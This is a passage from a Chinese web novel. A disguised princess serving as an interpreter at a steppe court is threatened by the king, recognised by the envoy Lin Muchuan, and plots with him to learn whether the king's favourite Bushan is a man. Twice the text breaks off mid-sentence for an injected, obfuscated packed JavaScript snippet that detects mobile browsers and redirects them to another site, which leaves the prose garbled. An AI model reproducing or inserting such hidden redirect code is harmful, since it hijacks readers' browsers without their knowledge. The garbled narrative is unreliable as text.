“殿下这是要我留在蛮丘，做两国之间的茶叶榷场的主事？” “非但如此，日后的丝绸、瓷器等一切从昭国运来的货物，皆由你牵头交易，你那茶叶坊的姑娘们也可以一同过来。” 常乐冷哼一声：“昭国人向来安土重迁，殿下不是不知，说这么多，无非就是想将我困在蛮丘而已。” “那又如何呢？”尔云珠垂下了眼眸，看起来有些不耐烦，“还是那句话，你有选择的权力吗？” 看着对方张扬的眼神，常乐心中气闷，但人在屋檐下，她不得不曲意周旋。 “殿下的提议我会考虑，只是还请宽限几日。” “你是个聪明人，我希望不要让我等太久。”尔云珠挥挥手，“到外间去吧，她一直在等你。” “她？”常乐瞬间醒悟，三两步跨出了房间。 “公主！”掀开的帘子还未落下，一道娇小的身影就扑到了脚边。 “喜晴，快起来。”常乐喉头哽咽。 “公主……”喜晴起身后泪眼婆娑地看着眼前人，“真的是您，我就知道您没死，我就知道……” 常乐强压着悲痛，伸手擦着喜晴不断落下的眼泪。半晌，二人才坐下来说话。 “喜晴，我问你，念冬呢，她……” 话说到着就停了，常乐看着对方又挂下的两行泪，什么都明白了。 “什么时候的事？谁做的？”她咬牙切齿。 “您失踪三日后，外出寻找的队伍带回来一条被狼啃食的手臂，而后大家都说您被苍狼王召去做妃子了。” “我与念冬不敢相信，哭着抢着要去验看，却一直被隔在外面。后来她不知道为何突然突破重围看到了，我当时在帐子里面，只听到她大喊那不是您的手臂，等我冲出去，她已经被万箭穿心。” 喜晴嘴唇煞白，常乐立刻握住了她的手：“不怕，都已经过去了，不想了。” 缓得半刻，喜晴才问起她的情况。 “你相信神迹吗？”常乐拣重点的事说了，对方惊讶得好半天才反应过来。 “怪道呢，我说怎么昭国忽然出现添了茉莉的茶叶，制茶之人还刚好是那个名字，原来这世上真的有神迹！” 气氛中的悲伤终于渐渐淡去，两人不好呆在一起太长时间，于是只能分别。 如今喜晴已被尔云珠叫到她那里伺候，常乐被她送到自己此时的住处后，就让她赶紧过去了。 迈步进入帐篷，却没看到林牧川的身影，护卫也不知道他去哪儿了。 坐得一会儿她便觉得帐内气闷，掀了帘子往外走。 正值腊月，草原上的风如刀子，到了晚间冷意更甚，她将披肩围得更紧了些，只露出了一双眼睛。 往茶叶中加茉莉花，这是她在昭国皇宫时便着手做的事，喜晴和念冬二人陪着喝了几个月的茉莉花花茶，到后面一迭连声求饶。 而常乐二字，化用于长乐，这是母妃给她起的乳名。 “我的女儿要长长久久地快乐。”这是母妃常对她说的话，一直说到她出宫的前一刻。 只是宫内不兴乳名，旁人只唤她三公主，就连父皇在高兴的时候也只会叫一声三姑娘。 直到感觉冷气顺着脚底爬到了膝盖，她才惊觉自己已经走出好远，帐篷那边的火光都只能看个隐约。 立刻转身回去，才走了两步就听到了那个让人毛骨悚然的熟悉口音。 “站住，你是谁！” 常乐赶紧朝着那人施礼：“见过大王，在下昭国控茶司林大人的通译。” “原来是常乐。”乌叱敦的声音顿时软和了下来，“听说我那妹妹喊你过去说了些昭国趣事？” “是。” “不需这么拘礼，我们草原人没有你们昭国那么多讲究。” 乌叱敦说着迈步走近，常乐心中惊慌，赶忙往后退。 “诶，干嘛这么害怕，孤又不会吃了你。” 手腕上骤然一疼，乌叱敦手掌上的老茧摩擦着她的皮肤。 常乐心如擂鼓，手触电般往回缩，怎知对方越握越紧，仿佛要将她的骨头捏碎。 她终于抬头对视，刚想开口，就被对方的眼神吓到。 好奇、玩味儿，还带着一丝狠厉，就像是一头饿狼盯着肥羊。 因这一瞬的失神，乌叱敦已然欺身挨近，勾起一侧嘴角道：“孤对昭国的趣事也颇感兴趣，不如也说与我听？” “外面风寒，大王还是赶紧回帐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14037170|143294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吧，待明日我与林大人一同请见时，再与大王细说。” 手腕依旧挣脱不出，常乐感觉对方眼中的兴奋越来越浓，她脑子里忽然炸开惊雷。 莫不是他已经发现了自己的身份？或者因为自己将茶叶卖给了尔云珠坏了他的计划，他这是在报复？亦或是自己方才与尔云珠的接触让他心生不满？ 常乐脑子一时间转过许多种可能，无论是哪一点，自己恐怕是在劫难逃。 怎么办？怎么办？ 她想大声呼喊，可这周围都是蛮丘的军队，纵使随行的护卫赶来也招架不住。 情急之下，她忽然灵机一动，开口：“大王，你可知道方才殿下问了我哪些问题？” 此话一出，乌叱敦果然眼眸一闪，露出了点与方才不同的神色。 但片刻后，他忽然放声大笑：“你很聪明，但是你不该如此聪明。” 乌叱敦丝毫没有转变想法，对峙这许久，常乐心头猛然蹿起怒火。 她不动声色地抬起右脚的脚跟，大腿绷紧准备着蓄力一击。 忽然，远处传来一声怒吼：“大王！” 手腕忽然一松，常乐抬眼去看策马奔来的人。 果然是她，布珊。 不等靠近，她翻身下马奔到近前，恶狠狠地瞪了常乐一眼，然后才与乌叱敦说话。 “我找了你好久，你在这里干什么？” 乌叱敦脸上不太好看，但开口却尽是无奈：“没什么事，就是问了点那个公主的事，你知道的，这次联姻很重要。” “重要到大半夜和这个男人在这里拉拉扯扯吗？”布珊跋扈的行径和两年前一般无二，且因为“常乐”是外人，更不加收敛。 正此时，又一阵马蹄声响起，待看清马上之人后常乐不由得长舒一口气。 “林大人。”她立刻躬身行礼。 林牧川一来，周围的气氛总算正常了些，两方客套几句就各自告辞。 踏进帐篷，叫里面的热气一激，常乐只觉手腕处越发疼痛，她走到灯下一看，原来已经肿胀了起来。 “怎么回事？”林牧川忽然靠近，手伸过来却又停住了。 “我去给你拿药。”说完他就转身往里面走。 常乐想起乌叱敦方才的表现，脑海里的疑惑越来越深，一时拿不准他到底是因为什么才会如此威胁自己。 “是蛮丘王弄伤的？”林牧川将一个巴掌大的白瓷药罐递了过来。 “嗯。”常乐点点头。 “难道他怀疑你的身份了？” “什么身份？”她这才察觉出对方的周身的阴沉，抬头又见他眉峰蹙起，眸中思绪万千。 “你是说他在怀疑我是女子？”常乐觉得心中有个念头呼之欲出，她正想抓住，忽然眼前一闪，林牧川竟然直挺挺地跪在自己面前。 “卑职拜见靖和公主，公主千岁。” 常乐霎时间愣在当场，手中的白瓷瓶滑脱出去。 碎裂的声音并未如预期想起，低头去看，林牧川手中稳稳握着瓶子，仰着头一双眼直勾勾地看了过来。 常乐这才回神，急忙在帐篷内环视一圈，见无人才放下心来。 短短几个时辰发生了太多事，她感觉身心俱疲，缓缓地挪动到一旁的凳子坐下才来得及长舒一口气。 “起来吧。”她动动唇瓣，“你是如何知道的？” 34. 商量 “卑职看到了那张画像。”林牧川开。 “尔云珠帐篷内那张？”常乐问。 “或许吧。那名婢女将公主送回此帐篷后又折返回去，她再出来时手中多了一个画轴，我设法看到了上面的画像。” 良久，常乐才又说话：“林大人不需如此拘礼，依旧如往常那般称呼便好。” 她抬眼看着林牧川，知道对方依旧有许多疑问却不知如何开口，于是又道：“林大人或许想知道我是如何越过重重障碍到庆丰县的，但无论大人是否相信，我只能回答，我不知道。” 林牧川闻言蹙眉，与常乐对视以后又移开了眸子。 “公……常娘子……”忽然，他又止住了话头，“夜深了，娘子也该困了，早些休息吧。” 常乐不意他竟不再追问，但也实在不愿再解释一番，于是稍微收拾了一会儿就躺到了榻上。 方才蛮丘王的一举一动又在脑海中浮现，她不断思考着此人的目的，却又不断推翻。 不论是怀疑自己的真实身份，还是不悦自己将茶叶卖给了尔云珠，抑或是想通过自己知道尔云珠打探了些什么，乌叱敦都不该是这个表现。 越想越难以安枕，常乐索性坐了起来。 “何事？”屏风外传来林牧川刻意压低的声音。 “无事。”她回了一句，透过屏风上的影子看到对方依旧没动，她干脆起身将熄灭的灯火又点了起来。 “林大人，进来吧，我有事与你商量。” 影子犹豫了一会儿，终于还是迈开了步子。 “娘子有何吩咐？”林牧川长揖为礼。 常乐便笑：“控茶司司长对着通译如此恭敬，旁人要起疑心的。” 林牧川一顿，试探着抬眼去看对方，而后视线就撞上了一双蓄满笑意的眸子，他心头一松，便也笑了起来。 “常公子说的是。”他搬来凳子坐到常乐面前，问有何事相商。 “林大人觉得方才乌叱敦的行为是为着什么？” “我刚才也想过，如果他是发现了你的身份，应当会直接派人将你抓起来，不会多费口舌。” “与我所料一样，他的样子不像是想从我这里得知些什么，倒像是看到了猎物一般，这又是为何？”常乐的眉头不由自主地皱了起来。 林牧川接口：“之前的事我没看到，我发现时，只看到那名婢女翻身下马，而后蛮丘王就放开了你。” “是。”常乐道，“她叫布珊，是蛮丘王的情妇，蛮丘王十分宠幸她。” “竟爱重到如此地步么，连男子的手都拉不得，你女子的身份并未暴露。” “我想她是以为我在与乌叱敦说靖宁公主的事吧，所以才如此愤怒。”常乐叹了口气，“我们能到王城也是因为此人的嫉妒心，献上的那袋茶叶早已被她丢弃。” 林牧川点头：“难怪你只炒了一袋茶叶就敢将话放出去。” “这一位的妒忌之心我见识过太多次了，蛮丘王也算得上是痴情之人，竟然能容忍、专宠她到如此地步。” “那为何不将其纳入后宫，而是只令其做婢女？”林牧川疑惑。 “想来是因为她身份低贱？”常乐道，“蛮丘不兴后妃品阶，后宫所有的女子皆是阏氏，蛮丘王为安她的心，娶的阏氏皆无颜色。” “蛮丘王这点权势都没有吗？不过是给心爱的女子抬身份而已，有何不可？” 常乐闻言皱紧了眉头，试探道：“你是说，蛮丘王并没有那么爱她？” 说完又摇头：“不会，这不可能，我与这两人相处近三年，他们的感情不像是装出来的。” 她不断回忆起以前发生过的事情，一桩桩一件件都昭示着乌叱敦对布珊的看重。而后她的思绪回到了几个时辰前，布珊气冲冲地对着乌叱敦大喊。 “重要到大半夜和这个男人在这里拉拉扯扯吗？” 常乐瞪大了眼睛，又忽然回忆起白天的时候。那时她将大部分心神都放在注意布珊的神态上了，并未多注意乌叱敦。 如今想来，当时她翻译了林牧川的话，说自己知道许多关于靖宁公主的事，当时布珊的眼神就十分恶毒，她自然以为是和靖宁有关，但如今想来，可能是和自己有关。 在她翻译的时候，曾瞥了一眼乌叱敦，当时他的眼神就如晚上对着自己一般……但当时自己被后续布珊的眼神缩所扰，就没太注意。 若是乌叱敦当时就对自己如此，那原因可能是…… 惊恐之下，常乐忽地站了起来，手不由自主地捂嘴压住了那声低呼。 “怎么了，你想到了什么？”林牧川焦急发问。 常乐定定地望着林牧川，颤声道：“你说，布珊有没有可能是男儿身？” “什么！”林牧川从凳子上弹起，而后往屏风外望了望，确认无人察觉后才又压低声音开口，“你的意思是，乌叱敦有龙阳之好？” “可是，这说不通。他不是有许多位阏氏还有孩子，就连……”林牧川住了口，而后躬身赔罪。 “无事。”常乐摆摆手，“作为蛮丘王，娶阏氏、生下王子，都是保住王位的必要手段。” “怪道他不能将布珊纳入后宫，怪道他不在乎那些阏氏的容色，而阏氏一旦有孕生子后他就不再入那人的帐篷……” 常乐嘴里不断细细念着，而后又皱起了眉头：“可是，他为何要害我呢？我在蛮丘无任何势力，又不曾诞下孩子，甚至……” 常乐没有说下去，她心中对自己被害的疑惑越来越重。 “既然乌叱敦爱的是男子，那我就没有任何地方可以威胁到他，他为何要害我呢？”她脑中一片混乱，只扯了林牧川的衣袖低声念着。 “常乐……常乐！”林牧川无奈地稍提了一下声音，等对方松了手，他才说，“你先冷静一下，布珊是男子的事目前还只是猜测，我们还需证实。” 常乐这才恢复了平静，点头道：“不错，还是先弄清楚他到底是男是女再说。” “天色不早了，先休息吧。”林牧川躬身告退，“明日我自去打探一番。” 常乐点点头，等对方退到屏风之后才有合衣躺倒了床上。 再睁眼时，常乐只觉得腹中饥饿非常，而后就闻到食物的香味。 收拾一番往外走，屏风外不见林牧川的身影，不远处的火堆旁温着一锅羊肉汤，香味就是从那里发出来的。 她拿出几块面饼，就着羊肉汤吃了，刚吃完就感到一股冷风吹了过来，回头一看，原来是林牧川正掀了帘子进来。 “回来了。” “你醒了。” 两人异口同声，而后又同时一愣。 还是常乐首先打破了这略显尴尬的局面，她拍了拍身旁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14182729|143294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的凳子道：“外面太冷了，快过来烤烤。” 林牧川犹豫了一会儿，最终还是依言坐到了常乐身边。 “我尝试着去跟踪了那名叫布珊的人，他太警觉了。”林牧川开口。 “被发现了？” “那倒没有，我见情况不对就立刻撤了。”林牧川摇头，而后蹙眉斟酌道：“只是他过于警觉了，不像是一个婢女……或者佞幸……” 常乐沉默了一会儿，然后才开口问：“你的意思是，他可能会功夫？” 林牧川点头：“可能身手还不错。” “这可就难办了……”常乐起身，在帐篷内转了几圈，视线忽然扫到了一副绣了苍狼的毛织挂画。 她忽地一拍掌道：“我竟忘了，几日后是蛮丘例行的祭典，乌叱敦需沐浴斋戒，布珊这等近身伺候的下人也是需要沐浴的。” “你的意思是，我们趁其沐浴之时查探？” 林牧川的一句话叫常乐忽地脸上一红，她移开眼后方才点头道：“事关重大，此刻也顾不得许多了，好在蛮丘风俗奔放，这点事原算不得什么。” “可是，王帐把守严密，我们恐怕难以接近。” “无事。”常乐继续回答，“既然是斋戒，乌叱敦需在王帐单独安寝，以往这个时候，布珊都是回到下处单给她一人搭建的帐篷住下的。” 林牧川思索片刻，见无甚纰漏最终点了点头。 * 祭典前夕，布珊踏出王帐往下人所住的地方走去，掀帘走进帐篷，她的脸就沉了下来。 “怎么还没把水打好！不是说了我一过来就要沐浴的吗？” 帐篷外站着的两名下人立刻告罪，然后急急忙忙地跑开了。 布珊满脸嫌弃地看了一圈帐篷内的陈设，而后提起火堆旁温着的壶倒了一碗奶，刚一沾唇她就将摔在了地上。 “蜜都叫阉驴吃了吗？狗都不舔的奶也敢拿给我喝！” 帐篷外立刻有人矮着身子快步走了进来，他提了壶往外走，不妨腰上被踹了一脚跌倒在地，壶中的热奶因此撒了一身。 但此人也只是惊叫了一句，而后便拿着空壶连滚带爬地离开了。 扮成下人模样的常乐和林牧川此时恰好抬了热水进来，差点被这人撞到。 两人将热水倒好以后就往外走，布珊忽然怒道：“都是故意找茬是吧？前面的奶不加蜜，你们打的这水是要烫死我？” 说着，他抄起手边的一只碗就砸了过来，林牧川眼疾手快，借着拉常乐告罪的动作躲开了飞驰而来的碗。 掀开布帘走出去，常乐依旧惊魂未定，边长长地吁气边沿着帐篷外沿走。 “没想到她的性子越来越跋扈了，以前虽也爱发脾气但却不至于这般不容人。” 林牧川道：“或许是因为蛮丘这边已经在打点人马，准备着到我朝廷去接亲了。” 常乐眸子一沉，回想起这这几日看到、听到的事情，她捏紧了拳头，想着无论如何都不能让胞妹进乌叱敦的王帐。 两人躲在一处草垛之后，没过多久，就听见帐篷内布珊又嚷了起来。 “打个冷水也要这么久？” 话音未落，帘子就被掀开，两人赶忙把头一低藏好。 “人都死哪儿去了！” 眼见着布珊气冲冲地走远了，两人才又悄声走进了帐篷。